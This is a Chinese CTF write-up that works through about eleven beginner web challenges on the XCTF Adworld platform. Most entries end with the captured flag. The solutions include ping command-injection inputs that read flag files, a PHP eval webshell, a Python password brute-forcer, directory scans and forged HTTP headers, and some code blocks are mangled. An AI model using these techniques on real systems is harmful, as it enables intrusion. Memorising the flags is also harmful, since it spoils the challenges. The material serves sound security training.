📤Web📥初级
backup
题目描述
X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
题目场景
问题:你知道index.php的备份文件名吗?
搜索可知:“.bak”、“.bash_history”、“.bkf” 、“.git” 、“.svn”、“.swp”“.~”
解题
dirsearch - 基于Python的Web路径发现脚本
dirsearch -e bak,bkf,bash_history,swp,svn,git -u [要扫描的地址/自己的题目场景] -o E:\dirsearch.txt
我的:dirsearch -e bak,bkf,bash_history,swp,svn,git -u http://111.200.241.244:51075 -o E:\dirsearchBakUp.txt
dirsearchBakUp.txt
好奇怪,-e
筛选了后缀,为什么输出结果还是全部的文件?
# Dirsearch started Fri Mar 18 14:17:25 2022 as: D:\DEV\Python\Python310\Scripts\dirsearch -e bak,bkf,bash_history,swp,svn,git -u http://111.200.241.244:51075 -o E:\dirsearchBakUp.txt
403 296B http://111.200.241.244:51075/.ht_wsr.txt
403 299B http://111.200.241.244:51075/.htaccess.bak1
403 299B http://111.200.241.244:51075/.htaccess_orig
403 301B http://111.200.241.244:51075/.htaccess.sample
403 299B http://111.200.241.244:51075/.htaccess.orig
403 300B http://111.200.241.244:51075/.htaccess_extra
403 299B http://111.200.241.244:51075/.htaccess.save
403 298B http://111.200.241.244:51075/.htaccessOLD2
403 297B http://111.200.241.244:51075/.htaccess_sc
403 297B http://111.200.241.244:51075/.htaccessOLD
403 289B http://111.200.241.244:51075/.htm
403 290B http://111.200.241.244:51075/.html
403 297B http://111.200.241.244:51075/.htaccessBAK
403 299B http://111.200.241.244:51075/.htpasswd_test
403 295B http://111.200.241.244:51075/.htpasswds
403 296B http://111.200.241.244:51075/.httr-oauth
403 289B http://111.200.241.244:51075/.php
403 290B http://111.200.241.244:51075/.php3
200 438B http://111.200.241.244:51075/index.php
200 438B http://111.200.241.244:51075/index.php/login/
200 500B http://111.200.241.244:51075/index.php.bak
403 298B http://111.200.241.244:51075/server-status
403 299B http://111.200.241.244:51075/server-status/
根据题中的“index.php
”,明显是“index.php.bak
”,即访问“http://111.200.241.244:51075/index.php.bak”资源:
index.php.bak
<html>
<head>
<meta charset="UTF-8">
<title>备份文件</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>
<h3>你知道index.php的备份文件名吗?</h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"
?>
</body>
</html>
Flag
Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}
WriteUp
command_execution
题目描述
小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
WAF
Web应用防火墙(WAF)可以防止Web应用免受各种常见攻击,比如SQL注入,跨站脚本漏洞(XSS)等。
WAF也能够监测并过滤掉某些可能让应用遭受DOS(拒绝服务)攻击的流量。WAF会在HTTP流量抵达应用服务器之前检测可疑访问,同时,它们也能防止从Web应用获取某些未经授权的数据。
命令执行
Linux中的命令分隔符有以下几种:
- “&&”分隔符
Linux中使用“&&”分隔符分隔的命令时,当首个命令执行失败后,后续的命令不会执行。
- “||”分隔符✅
Linux中“||”分隔符分隔的命令时,当首个命令执行失败后,后续的命令还会继续执行。
- “;”分隔符✅
Linux中使用“;”分隔符分隔的命令时,命令会按顺序执行,即使中间命令使用方式不对,后续命令还会继续执行。
题目场景
原始场景
直接点击“PING”
127.0.0.1
解题
尝试在ip地址后加上分号“;”和命令,发现分号后的命令可以执行:
find / -name flag
127.0.0.1;find / -name *flag*
cat /home/flag.txt
127.0.0.1;cat /home/flag.txt
Flag
我的:Cyberpeace{F0ABE68D844902B94E82971B13666EB3}
看别人的是全小写,但是我改成全小写也不行:
WriteUp
cookie
题目描述
X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’
题目场景
解题
查看Cookie
可以通过Burp Suite抓包,或者浏览器访问时的报文(F12-NetWork-Cookies):
或者控制台输入命令“document.cookie
”打印:
cookie.php
文字提示:“See the http response”,意为查看HTTP报文的应答包(Response)
“F12-NetWork-Headers-Response Headers
”有:Flag: cyberpeace{3cfc2c7be0ff5cd4e6bd499a0ad72e25}
:
Flag
Flag: cyberpeace{3cfc2c7be0ff5cd4e6bd499a0ad72e25}
WriteUp
disabled_button
题目描述
X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?
题目场景
解题
按钮代码
<form action="" method="post">
<input disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth">
</form>
禁用了按钮,按钮的代码是POST发送“auth = flag”(auth=flag)的值,可以自己发包,但是还是启用按钮更符合题意也更方便:
启用按钮
删除“class="btn btn-default"
”前的禁用代码“disabled
”:
发包
返回Flag
Flag
cyberpeace{8badfdf3730240481101568ea8444153}
WriteUp
get_post
题目描述
X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?
题目场景
解题
方式1:HackBar
构造带参的GET包:在原始URL后拼接“/?a=1
”:
返回页面提示:“请再以POST方式随便提交一个名为b,值为2的变量”。
继续构造带参的POST包,body为“b=2
”,返回了Falg:
方式2:curl
curl -X POST -d "b=2" [场景地址]/?a=1
方式3:Burp Suite
- F5刷新抓包
- 改包,GET发包到“
/?a=1
”路径 - 再改包,在2.的包基础上,在body加上“b=2”(建议通过“Params”标签页添加:Type:body,Name:b,Value:2)
方式4:Python
“requests.post
”发包后,打印响应包的“.text
”: ```python import requests
url = r”http://111.200.241.244:65366“ url2GET = url + “/?a=1” print(url2GET) data2POST = { ‘b’:2 }
response = requests.post(url2GET, data=data2POST) if response.status_code == 200: response.encoding = response.apparent_encoding print(“成功:”, response.text)
<a name="rxaBl"></a>
### Flag
cyberpeace{b8f4f3229646e4ed8fb3e048ab5e7d43}
<a name="nugi2"></a>
#### [WriteUp](https://adworld.xctf.org.cn/task/writeup?type=web&id=5062&number=3&grade=0&page=1)
<a name="UbPKJ"></a>
## [robots](https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5063&page=1)
<a name="PJlep"></a>
### 题目描述
X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。
<a name="IyeIL"></a>
#### [Robots协议](https://baike.baidu.com/item/robots%E5%8D%8F%E8%AE%AE)
**robots协议也叫robots.txt**(统一小写)是一种存放于[网站](https://baike.baidu.com/item/%E7%BD%91%E7%AB%99)根目录下的[ASCII](https://baike.baidu.com/item/ASCII)编码的[文本文件](https://baike.baidu.com/item/%E6%96%87%E6%9C%AC%E6%96%87%E4%BB%B6),它通常告诉网络[搜索引擎](https://baike.baidu.com/item/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E)的漫游器(又称[网络蜘蛛](https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E8%9C%98%E8%9B%9B)),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots[元数据](https://baike.baidu.com/item/%E5%85%83%E6%95%B0%E6%8D%AE)(Metadata,又称元数据)。<br />robots协议并不是一个规范,而**只是约定俗成的,所以并不能保证网站的隐私。**
<a name="TRd8W"></a>
### [题目场景](http://111.200.241.244:59792)
打开后是空白。
<a name="iqUVX"></a>
### 解题
<a name="W7Y5B"></a>
#### 访问robots.txt
根据百度搜索结果的“存放于[网站](https://baike.baidu.com/item/%E7%BD%91%E7%AB%99)**根目录**下的[ASCII](https://baike.baidu.com/item/ASCII)编码的[文本文件](https://baike.baidu.com/item/%E6%96%87%E6%9C%AC%E6%96%87%E4%BB%B6)”,在场景地址末尾加上“`/robots.txt`”,访问到了:<br />
<a name="ukM85"></a>
##### 访问Disallow
Disallow禁止访问“f1ag_1s_h3re.php”,那么就在场景后加上“`/f1ag_1s_h3re.php`”:<br />
<a name="PPgL9"></a>
#### 路径扫描
刚装了HackBar,还尝试用它自带的“dirsearch”做路径扫描,但是HackBar的自动扫描太慢了:<br /><br />直接用“dirsearch”:
```python
dirsearch -u [场景地址] -e * -o [文件路径]
Flag
cyberpeace{5142e56672ed19803c99fa59cb07266f}
WriteUp
simple_js
题目描述
小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )
题目场景
<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc)
{
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');
var i,j,k,l=0,
m,n,o,p = "";
i = 0;
j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ )
{
o = tab[i-l];
p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;
}
for(i = (o=0); i < (k = j = n); i++ )
{
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
ing.fromCharCode(tab2[17]);
pass = p;
return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
</script>
</head>
</html>
解题
方式1 - 字符转换
代码中函数“String.fromCharCode
”作用是将 Unicode 编码转为一个字符(ASCII码)。
原始Unicode
\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30
Hex
55,56,54,79,115,69,114,116,107,49,50
ASCII
7,8,6,O,s,E,r,t,k,1,2
方式2 - 修改js代码
将下文代码保存为.html文件后(替换了pass),拖入浏览器打开刷新即可得Flag:
注意
可能是长度原因(懒得看代码),最后一个字符会变成乱码:
我把需要处理的最后一个元素多复制了一遍(\x2c\x35\x30
),再扣除最后一个的乱码(pass.slice(0,pass.length-1)
)。
<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc)
{
var pass = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30\x2c\x35\x30";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');
var i,lenInput,k,l=0,m,lenPass,o,p = "";i = 0;lenInput = tab.length;
k = lenInput + (l) + (lenPass=0);
lenPass = tab2.length;
for(i = (o=0); i < (k = lenInput = lenPass); i++ )
{
o = tab[i-l];
p += String.fromCharCode((o = tab2[i]));
if(i == 5)
break;
}
for(i = (o=0); i < (k = lenInput = lenPass); i++ )
{
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass.slice(0,pass.length-1);
}
alert( dechiffre("🥳🥳🥳建瓯最坏恭喜你获得Flag🥳🥳🥳") );
</script>
</head>
</html>
Flag
WriteUp
simple_php
题目描述
小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
题目场景
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
解题
- 要求a等于0,并且a为true
- 为字符串0
- 要求b不是数字
- b大于1234
- 为带大于1234数字的字符串
Flag
Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
WriteUp
view_source
题目描述
X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
题目场景
解题
因为我一般直接F12
,看了WriteUp才知道,原来考的是如果右击的检查被禁用了后,怎么通过别的方式查看源码。F12
是一种,还可以通过Burp Suite抓包查看网站传输过来的数据。
Flag
cyberpeace{a249eaa9cecd6b4d9582bfd40af850b3}
WriteUp
weak_auth
题目描述
题目场景
解题
- 用户:admin
- 密码:123456
弱密码暴破
🔄🔄🔄Burp Suite🔄🔄🔄适用✅✅✅
🐍🐍🐍Python🐍🐍🐍
- 用户字典+密码字典,for循环搭配遍历并发包
- 保存返回包的“
.text
”- 检测是否有能判断无Flag的代码,如本案例为“password error”和“please login as admin”
- 和前一个包对比,如果不同则打印 ```python import requests
def ReadDictionary(txtUser, txtPassword): with open(txtUser, encoding=’utf-8’) as f: listUser = f.read().splitlines()
# print(listUser)
with open(txtPassword, encoding='utf-8') as f:
listPassword = f.read().splitlines()
# print(listPassword)
return listUser, listPassword
def BruteForce_UserAndPassword(inputUser, inputPassword): bGet = 0 listResponse = [] for iUser in inputUser: for iPassword in inputPassword: dic2Post = { ‘username’:iUser, ‘password’:iPassword }
# print(dic2Post)
response = requests.post(url, data=dic2Post, timeout=33)
if response.status_code == 200:
textResponse = response.text
# 根据错误的返回包中的提醒字符串
if ((strErr1 not in textResponse) and (strErr2 not in textResponse)):
print("密码为:", dic2Post)
bGet = 1
elif textResponse not in listResponse:
listResponse.append(textResponse)
if bGet == 0:
print("所有返回包:")
print(set(listResponse))
url = r”http://111.200.241.244:63653/check.php“ txtUser = r”User.txt” txtPassword = r”Password.txt” strErr1 = “password error” strErr2 = “please login as admin” if name == ‘main‘: listUser, listPassword = ReadDictionary(txtUser, txtPassword) BruteForce_UserAndPassword(listUser, listPassword)
<a name="TMu1b"></a>
### Flag
cyberpeace{7f199b07366fda8d4dcf1d27346b0ef4}
<a name="rcWFW"></a>
#### [WriteUp](https://adworld.xctf.org.cn/task/writeup?type=web&id=5069&number=3&grade=0&page=1)
<a name="eB5t1"></a>
## [webshell](https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5070&page=1)
<a name="qKLME"></a>
### 题目描述
小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
<a name="ErKD4"></a>
### 题目场景
```java
你会使用webshell吗?
<?php @eval($_POST['shell']);?>
解题
工具
- 【Windows】菜刀
-
连接WebShell
地址:场景地址
- 密码:shell
- 脚本类型:PHP
WebShell工具
以“蚁剑”为例,可以通过命令终端(优先)和文件管理的方式查找Flag:
执行命令
ls列出文件
find查找文件
如果ls没有找到flag文件,使用“find
”命令“-name *flag*
”:
find / -name *flag*
cat查看文件内容
cat /var/www/html/flag.txt
文件管理
Flag
Cyberpeace{9755FBFF7099C0987DBFC18E20052E87}
WriteUp
xff_referer
题目描述
X-Forwarded-For
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 Squid 缓存代理服务器的开发人员最早引入了这一HTTP头字段,并由IETF在Forwarded-For HTTP头字段标准化草案中正式提出。
当今多数缓存服务器的使用者为大型ISP,为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网。有些情况下, 这些代理服务器是透明代理, 用户甚至不知道自己正在使用代理上网。
如果没有XFF或者另外一种相似的技术,所有通过代理服务器的连接只会显示代理服务器的IP地址(而非连接发起的原始IP地址), 这样的代理服务器实际上充当了匿名服务提供者的角色, 如果连接的原始IP地址不可得,恶意访问的检测与预防的难度将大大增加。XFF的有效性依赖于代理服务器提供的连接原始IP地址的真实性,因此, XFF的有效使用应该保证代理服务器是可信的, 比如可以通过建立可信服务器白名单的方式。
HTTP_REFERER
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
题目场景
ip地址必须为“123.123.123.123
”
必须来自“https://www.google.com
”
解题
使用HackBar或者Burp Suite等工具,伪造HTTP报文的字段,随机设置数值后会得到上面的提示,根据提示,将:
- X-Forwarded-For = “
123.123.123.123
” - Referer = “
https://www.google.com
”
Flag
Cyberpeace{0B224EC36E15BD74B3C63D05083191EF}